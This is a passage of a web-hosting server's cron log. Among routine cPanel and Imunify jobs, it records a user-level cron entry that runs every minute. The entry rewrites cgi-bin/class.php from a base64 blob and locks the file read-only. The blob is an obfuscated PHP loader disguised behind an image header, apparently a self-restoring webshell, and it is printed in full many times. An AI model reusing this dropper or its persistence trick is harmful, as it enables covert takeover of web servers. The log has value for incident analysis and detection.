QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:42:01 server CROND[6406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:42:01 server CROND[6407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:42:01 server CROND[6409]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:42:01 server CROND[6408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:43:01 server CROND[6788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:43:01 server CROND[6789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:43:01 server CROND[6790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:44:01 server CROND[7172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:44:01 server CROND[7173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:44:01 server CROND[7174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:45:01 server CROND[7571]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:45:01 server CROND[7572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:45:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:45:01 server CROND[7578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:45:01 server CROND[7577]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:45:01 server CROND[7579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:45:01 server CROND[7576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:46:01 server CROND[8405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:46:01 server CROND[8406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:46:01 server CROND[8407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:47:01 server CROND[8885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:47:01 server CROND[8886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:47:01 server CROND[8887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:48:02 server CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:48:02 server CROND[9273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:48:02 server CROND[9274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:49:01 server CROND[9646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:49:01 server CROND[9647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:49:01 server CROND[9648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:50:01 server CROND[10090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:50:01 server CROND[10091]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:50:01 server CROND[10095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:50:01 server CROND[10096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:50:01 server CROND[10098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:50:01 server CROND[10101]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:50:01 server CROND[10102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:50:01 server CROND[10103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:50:01 server CROND[10097]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:51:01 server CROND[10960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:51:01 server CROND[10959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:51:01 server CROND[10961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:52:01 server CROND[11435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:52:01 server CROND[11434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:52:01 server CROND[11436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:53:01 server CROND[11815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:53:01 server CROND[11816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:53:01 server CROND[11817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:54:01 server CROND[12203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:54:01 server CROND[12204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
